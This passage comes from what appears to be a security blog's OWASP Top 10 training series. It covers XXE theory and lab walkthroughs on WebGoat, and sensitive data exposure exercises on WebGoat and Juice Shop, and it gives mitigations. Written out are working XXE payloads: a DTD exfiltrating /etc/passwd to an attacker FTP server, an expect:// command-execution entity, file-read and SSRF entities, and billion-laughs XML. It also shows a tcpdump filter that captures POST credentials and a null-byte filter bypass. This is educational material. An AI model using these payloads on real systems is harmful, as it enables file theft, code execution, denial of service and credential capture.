This is how the XXE attack workflow will go:

  1. The vulnerable server will receive your malicious XML document and evaluate it using the XML parser.
  2. The XML parser will fetch your malicious DTD file from your malicious server.
  3. The vulnerable server will fetch the content of its /etc/passwd file and put it as the value of the parameter content.
  4. The vulnerable server will send a request to your malicious server
  5. You will get the content of the vulnerable server’s /etc/passwd file in the content parameter.

Note: Sometimes, you can’t retrieve multi-line files because it doesn’t result in a valid URL. Therefore, you can use an FTP server to receive incoming requests.

Exfiltrate internal files using a malicious FTP server

Exploiting a Blind XXE using FTP involves setting up an FTP server and pointing to it inside your malicious dtd file, which will look like this:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM ftp://malicious-ftp-server/%file;'>">
%bar;
%out;

Note that the only difference is that you use ftp:// instead of http://

You can easily set up an FTP server using xxeserv. If you don’t have a publicly accessible server, you can use ngrok to expose a local VM to the internet.

Exploit Blind XXE without an external DTD

All the scenarios we described so far require you to host a malicious DTD file on your server. However, what to do if there is a firewall denying all egress traffic?

In his write up, Arseniy Sharoglazov introduced a new technique. Basically, the idea is to reuse an already existing DTD and redefine a parameter entity inside it. Why not just including the external DTD inside the internal one, you might ask? Well, in XML, you can’t use nested entities in internal DTDs.

Exploit XXE with SVG files

File uploads can be vulnerable to XXE if the application parses XML files. A typical file type which uses XML is SVG. You can upload the following SVG profile picture to achieve XXE.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg height="30" width="200">
  <text x="0" y="15" fill="red">&xxe;</text>
</svg>

Exploit XXE using docx and excel files

When an application allows you to upload office documents, like docx or excel files, the first thing you have to test is XXE injection attack. In fact, office documents are simply XML based files archived into one file. You should watch this awesome talk which details how to exploit XXE using file uploads. The speaker, Willis Vandevanter, also released the oxml_xxe tool to help security researchers and ethical hackers test for XXE using file uploads for many file types.

XXE impact

You can do more than just exfiltrating internal files. Depending on the context, an XXE vulnerability can lead to many outcomes.

XXE to SSRF

Because you can specify URIs in the XML entity, you can use the XXE vulnerability to reach internal assets. For example, before the introduction of IMDSv2, an attacker could easily retrieve Amazon EC2 instance metadata containing sensitive data.

XXE to RCE

In PHP applications, you can use the expect:// wrapper to run arbitrary commands on the server. For example, in the case of an error-based XXE, you can use the following DTD to run the id command on the vulnerable server:

<!DOCTYPE foo [<!ENTITY myentity SYSTEM "expect://id"> ]>

Then, reference myentity in your XML field.

There are some limitations when it comes to running arbitrary commands because the XML parser evaluates the URI you are using and finds that is is invalid, but you can always find a way to bypass them. Besides, if you can chain an SSRF to an XXE, you can use the Gopher protocol to achieve a Remote Code Execution. This awesome article will give you many tips on how to escalate your XXE to RCE.

XXE to DoS

Sometimes, the server blocks external and parameter entities. Therefore, you can’t read internal files, or perform SSRF, etc. However, you can achieve a Denial Of Service. In fact, you can leverage XML entities to push the parser to load a large number of entities. The following DTD leads to the billion laughs attack using XXE. In fact, it will load a billion times the word laugh, causing a Denial Of Service.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XXE injection attacks in the real-world

There are so many real-world XXE injection attacks. However, I will list three here.

Firstly, in this advisory, Aon’s Cyber Solutions discovered an XXE vulnerability which allowed accessing internal files due to a misconfiguration in RealObjects PDFreactior before 10.1.10722.

Then, in this report, the bug bounty hunter demonstrates a Denial of Service condition due to an XML injection using the billion laughs attack.

Finally, this report shows how the bug bounty hunter exploited an Error-Based XXE to retrieve the /etc/passwd file.

How to mitigate XXE?

If you’ve been reading from the beginning, you should come up with defense methods against XML injection on your own. Since XXE injection vulnerability relies on DTDs, the best thing you can do to achieve a proper XML injection remediation is to disable DTDs altogether. However, this is not always possible because the application needs to use DTDs. In this case, disable external DTDs and XML External Entities. The following OWASP XXE prevention Cheat Sheet gives you all the details you need to prevent XXE on XML parsers for many programming languages.

That’s it! I hope you enjoyed learning XXE. Now, you can practice what you’ve learned in this hands-on XXE tutorial. And don’t forget to subscribe to the Friday newsletter below to receive updates about new content.

XXE tutorial in practice – OWASP Top 10 training

XXE tutorial

Hello and welcome to this OWASP Top 10 training series. Today, you will practice XXE injection on OWASP WebGoat. By the end of this XXE tutorial, you will achieve the following goals:

  • Exploit XXE to Read internal files from the vulnerable server.
  • Pivot from XXE to SSRF
  • Exploit a Blind XXE
  • Perform the Billion laughs attack

If you don’t know what XXE is, I prepared an in-depth XXE article about it.

XXE tutorial to read internal files

In this challenge, we have a comment feature which uses XML to carry the user input. 

  1. Login to your WebGoat instance, and go to the third challenge in the XXE menu
WebGoat Simple XXE challenge
WebGoat Simple XXE challenge
  1. Configure your browser to proxy HTTP requests through OWASP Zap or Burp Suite. Then, send a comment. You should see a POST request in your Web Proxy, with XML as POST data.
Potential XXE in the XML POST data
Potential XXE in the XML POST data
  1. Based on the explanations we provided in the XXE vulnerability theory, we will use the following XML POST data to read the secret.txt file from the remote server.
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY xxe SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
]>
<comment>
  <text>&xxe;</text>
</comment>
  1. Upon sending the malicious request above, we can see that the content of the secret file WebGoat 8.0 rocks... (vrSjRdhjst) shows up in the comments list.
XXE exploitation to read internal files

XXE to SSRF

Because we can use almost arbitrary URIs during an XXE attack, instead of using file://, we will use http:// to enumerate internal ports running on the server.

  1. Repeat the previous exercise.
  2. Instead of the previous POST data, use the following one:
<?xml version="1.0"?><!DOCTYPE author [
  <!ENTITY xxe SYSTEM "http://localhost:22">
]><comment><text>&xxe;</text></comment>
  1. Note that we are targeting the port 22, typically used for SSH.
  2. We receive a reply which clearly states that there is no service running on port 22.
Connection Refused indicates that the port is not accessible
Connection Refused indicates that the port is not accessible
  1. We can easily automate the process of discovering internal ports using OWASP ZAP’s fuzzer or BurpSuite’s Repeater. 

Note that you can also discover neighbor IP addresses, not just ports.

Blind XXE using an external DTD

As we explained in the XXE vulnerability theory blog post, you don’t always receive feedback from the application. We were just lucky that our comment input gets listed in the comments list area. If a moderator was verifying incoming reports, chances are that we wouldn’t have our malicious comment listed. This is where Blind XXE comes into play.

  1. Firstly, let’s prepare an external DTD file to host our callback and internal file to read. On WebWolf, log in using your WebGoat credentials and go to the Files tab. 
  2. Upload the following file while substituting webwolf-instance with your WebWolf IP address.
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://webwolf-instance:9090/landing/xxe?content=%file;'>">
%bar;
%out;
  1. Go to the seventh XXE challenge
  2. Submit a comment and capture the request in your Web Proxy like we did in the previous challenges.
  3. Use the following XML POST data. Note that {username} and {filename} should match your WebGoat username and external dtd file name respectively.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://webwolf-instance:9090/files/{username}/{filename}"> %xxe;]>
<comment>  <text>no need to inject here</text></comment>
  1. When you send the request, go to the Incoming Requests tab on your WebWolf instance.
  2. You should get a callback in your WebWolf instance like the one below, with the content of the secret file.
Blind XXE successfully exploited using an external DTD
Blind XXE successfully exploited using an external DTD

XXE to DoS

XXE can lead to Denial of Service. In this example, let’s perform XXE billion laughs attack and see what happens.

  1. Go to the third XXE challenge and repeat the steps we did on our first section.
  2. Use the following payload to inject the word laugh a billion times in a comment
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]><comment><text>&lol9;</text></comment>
  1.  Notice that you get the following error from the server.
JDK doesn't allow unlimited entity expansions
JDK doesn’t allow unlimited entity expansions
  1. The response indicates that JDK is properly configured to perform 64K entity expansions at most. This behavior is controlled using the jdk.xml.entityExpansionLimit option. As you can see below, if its value was less than or equal to 0, we would have crashed the server.
 JDK entity expansion limit option
JDK entity expansion limit option

That’s it! I hope you enjoyed this XXE tutorial. Subscribe now to the Friday newsletter to receive updates about new content

And as usual, here is your XXE tutorial on Youtube.

Sensitive Data Exposure tutorial – OWASP Top 10 training

Sensitive Data Exposure

Hello and welcome to this new episode of the OWASP Top 10 training series. In this Sensitive Data Exposure tutorial, you will practice your skills on three challenges If you have no idea about this vulnerability, I invite you to read this blog post which explains Sensitive Data Exposure in detail.

Make sure to subscribe to the Friday Newsletter for new content on this blog.

The agenda of the Sensitive Data Exposure tutorial will be as follows:

  • Firstly, you will sniff traffic and exploit a sensitive data exposure on a WebGoat challenge using tcpdump
  • Then, you will access confidential documents on OWASP Juice Shop
  • Finally, you will use publicly available resources to access some sensitive logs

Throughout this post, you will practice sensitive data exposure using OWASP ZAP. So, let’s get started!

Sensitive Data Exposure tutorial 1: WebGoat challenge

In this challenge, we have a login form which doesn’t use HTTPS. Our goal is to capture the credentials of our victim. 

We will use tcpdump to sniff the HTTP traffic. You can also use Wireshark

  1. Firstly, we will install tcpdump on our OWASP Top 10 training VM box.

sudo apt install tcpdump -y

  1. Then, we will list our network interfaces to listen to only the one which is connected to our target network.

ip a

Docker0 network interface to prepare for sensitive data exposure using tcpdump
Docker0 network interface
  1. From the output above, we are interested in the docker0 interface since that’s the one transmitting the target HTTP traffic.
  2. Next, run the tcpdump command below. The expression tcp[((tcp[12:1] & 0xf0) >> 2):4] gets the HTTP method from the traffic, which we compare with 0x504F5354, the hex representation of POST string.

sudo /usr/sbin/tcpdump -i docker0 -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354'

  1. Now, let’s go to the WebGoat challenge under the Sensitive Data Exposure menu, challenge 2. Then, click on the login button.
OWASP WebGoat Sensitive Data Exposure tutorial
OWASP WebGoat Sensitive Data Exposure tutorial
  1. You will immediately see a POST request showing up in the tcpdump output.
Sniffing credentials exposure using Tcpdump on HTTP traffic
Sniffing credentials exposure using Tcpdump on HTTP traffic
  1. Finally, as you can see from the screenshot above, the credentials are CaptainJack/BlackPearl

Had the page been using HTTPS, we wouldn’t have access to plaintext credentials, but rather gibberish traffic which we wouldn’t know how to decipher.

Tutorial 2: Access confidential documents

In this challenge, our goal is to access confidential documents of OWASP Juice Shop. We will use the application as intended and see if we can spot any potential vulnerabilities. We will register a new account, add products to the cart, checkout and print our order.

The order confirmation URL looks like http://10.14.3.54:3000/ftp/order_XXXX.pdf. What if there is a directory listing enabled on the /ftp directory? Let’s try that out!

  1. Go to http://owasp-vm-box:3000/ftp/
  2. Voila! You have other documents uploaded to the FTP directory, which include many confidential documents. Let’s see if we can access all the coupons.
  3. When you simply go to http://owasp-vm-box:3000/ftp/coupons_2013.md.bak, there is a 403 response forbidding us from downloading the file. It seems that the application performs checks on the file extension.
  1. Since only .md and .pdf extensions are allowed, let’s try to bypass this verification using a double URL encoded NULL character (%2500). To do that, got to http://10.14.3.54:3000/ftp/coupons_2013.md.bak%2500.md
  1. Notice that we successfully accessed the list of coupons in plaintext.
Sensitive data exposure: Stealing the coupons file
Sensitive data exposure: Stealing the coupons file

We were able to exploit a broken authentication flaw, then perform a filter bypass and get access to the plaintext coupons file. Which of these three problems fall into the OWASP Sensitive Data exposure category? Let me know in the comments below!

Tutorial 3: Exploit a sensitive data exposure vulnerability to Leak access logs

In this challenge, the goal is to get hold of a publicly available access logs file which contains clear-text passwords. We will surf the internet, dumpster diving online content for possible sensitive data leaks. 

Developers typically post many questions on well-known forums, like Stack Overflow. In fact, a simple Google search for the developer of OWASP Juice Shop reveals the username bkimminich on GitHub. From there, we can see if this username has posted any sensitive data on Stack Overflow. Googling “bkimminich stack overflow” gives us this account. Finally, we can filter only the questions. As you can see below, this is the post which contains access logs

Access log leak through Stack Overflow
Access log leak through Stack Overflow

The developer has posted a PasteBin file, yet another code sharing platform typically used by developers. Looking through the logs, we can see that there is a password-reset feature which is using GET parameters to transmit the password.

Sensitive Data exposure tutorial: Passwords in the log files.
Sensitive Data exposure in the log files

This is a clear sensitive data exposure. An attacker can go from here and test the password on all users of Juice Shop. To do that, one way is to login as an admin using a SQL injection, then access the administration dashboard using the same JavaScript enumeration exercise we did before. Since this is not directly tied to Sensitive Data exposure, I’ll leave it for you as an exercise. If you’re still stuck, make sure to check out the video below.

That’s it! I hope you enjoyed this Sensitive Data exposure tutorial. Subscribe now to the Friday newsletter to receive updates about new content.

Sensitive Data Exposure explained – OWASP Top 10

Welcome to this new episode on the OWASP Top 10 vulnerabilities series. Today, you’ll learn about the OWASP Sensitive data exposure vulnerability. If you already now the theory behind this vulnerability, you can practice on this tutorial.

The agenda will cover the following:

  • Define what is sensitive data exposure
  • Explain Sensitive data exposure types
  • Show you some attack scenarios
  • Share with you some related HackerOne reports
  • Explain the impact of this vulnerability 
  • Teach you how to prevent Sensitive data exposure

What is sensitive data exposure?

Each month, increasing exabytes of data get transmitted on the globe. The data sensitivity ranges from cat videos and static landing pages to Personally Identifiable Information (PII) and nations secrets.

But how to distinguish between sensitive and no-sensitive data? Well, this depends on many factors. For example, you can measure the impact of disclosing your data in terms of Confidentiality, Integrity or Availability. In fact, the general idea is to measure what would be the impact of this data if third-parties know about it. For example, an e-commerce website’s database is sensitive because it holds Credit Card records and personal data of its customers. If an unauthorized party accessed it, all customers’ identities and financial situation would be at risk. 

When critical data lands on unauthorized hands, we can qualify it as sensitive data exposure.

Sensitive data exposure types

We can divide the data into two broad categories, data in transit and data at rest.

Data in transit

Data transmitted over a network is considered data in transit. For example, when you browse the web, you generate HTTP traffic which carries data between you and the target server. Because it is in motion, this type of data can be targeted in many ways:

  • Sniffing: When the network traffic is not encrypted, an attacker can perform a Man-in-the-middle attack (MITM). For example, if you land on a website which asks for your credentials without using HTTPS, your credentials will transit in cleartext.
  • Information disclosure: This happens if a vulnerable server returns more information than it should. For example, JavaScript files can contain production API keys, passwords, etc. Besides, the server can return verbose errors which disclose passwords of highly sensitive assets. I’ve found a vulnerability where a generated error contained the admin password of a critical marketing asset.

Data at rest

All data which doesn’t move in the network is at rest. This includes archives, backup files, databases, etc. So how this data can be at risk if it doesn’t move? Well, an attacker can access it through a lack of authentication, poor access control on a repository, etc. Consider this incident where a publicly accessible MongoDB database stored plaintext personal details of Millions of records.

Sensitive data exposure attack scenarios

Since Sensitive data exposure is a broad vulnerability, we will explore some scenarios which would help understanding when a vulnerability falls into this category. Later, you can also practice your skills on this hands-on tutorial.

Attack scenario 1

A web application allows users to search for available books based on keywords. Unfortunately, a SQL injection in the keyword parameter allowed an attacker to dump the authors’ table, which included PII information in plaintext.

In this scenario, there are two problems, the SQL injection and the plaintext data. However, the problem which relates to Sensitive Data exposure is the latter. In fact, sensitive data should never be stored in plaintext.

Attack scenario 2

A web application doesn’t properly protect log files. This allowed an unauthenticated attacker to read them. Some log entries contained login requests with credentials in the GET parameters. This led to a massive credential theft and a huge compromise of multiple accounts.

In this scenario, the sensitive data was transmitted using GET parameters, which is a bad practice. In fact, GET requests get stored on logs, browser history, bookmarks, etc. Unauthenticated access to the log files themselves is a problem which belongs to Broken authentication, which is not directly related to Sensitive Data Exposure.

Attack scenario 3

An internal hospital web application allows staff members to sign up, log in and upload healthcare data. The application uses HTTP. An attacker compromised the hospital’s Wi-Fi network. Because there was no Network segregation, the attacker was able to listen on HTTP traffic and capture the session cookie of the admin user. He then authenticated to the application and modify data for a target patient.

In this scenario, the problem related to Sensitive Data exposure was in the fact that the application used an unencrypted protocol to carry sensitive data.

As you can see, Sensitive Data exposure vulnerabilities focus on data itself. In other words, giving that an attacker got access to your data or can sniff the traffic carrying your data, what defense mechanism do you have to prevent him/her from exploiting it?

Sensitive data exposure Hackerone reports

These are some real-world vulnerabilities related to Sensitive data exposure. 

  • In this report, Twitter publicly exposed a production API key on GitHub. The impact was not tangible, hence the low bounty amount. However, this is a great example of finding sensitive data exposure on GitHub.
  • In this interesting report, the hacker dumped hashed passwords from the database. However, he found a key in another component inside the DB, which allowed a potential Remote Code Execution. This is an interesting sensitive data exposure PoC to demonstrate that all sensitive data should be encrypted.
  • In this report, you can see how separation of privileges can properly reduce the impact and prevent Sensitive Data exposure. In fact, the hacker found a SendGrid API key which allowed him to impersonate Uber when sending emails. However, the API key’s permissions were properly set to only send emails. 

Sensitive data exposure impact

Exposing sensitive data to unauthorized parties has many serious implications. For example, if the data contains PII information, any leak can cause a fine under the EU GDPR law, which can go up to 20 Million Euros. Have a look at Facebook’s GDPR fines history. Besides, exposed data puts customers at risk, violates their privacy and impacts the image and revenue of the leaking party.

Sensitive data exposure remediation

To prevent such a vulnerability, you can implement many measures.

Firstly, you need to classify your data. This ensures that you clearly distinguish your sensitive data. There are many data classification policies which you’ll find in the references below. You can choose whatever you want based on the nature of your business. For instance, if you manipulate Credit Cards, then you’d go with the PCI DSS standard.

Then, you need to ensure proper encryption, both in transit and at rest. Make sure you comply with the standard of your choice. For example, there are specific encryption requirements for PCI DSS. I am not an expert when it comes to the details of each standard, but the general rule would be to use strong encryption algorithms and protocols.

Finally, apply the least privilege principle on the way you access your data to reduce the attacker abilities to read sensitive data. For example, use unprivileged database users and grant only the permissions your business needs on the tables which support the feature.

For in-depth prevention measures, you can read the Sensitive data exposure prevention OWASP Cheatsheets in the reference section.

References

Data classification policies: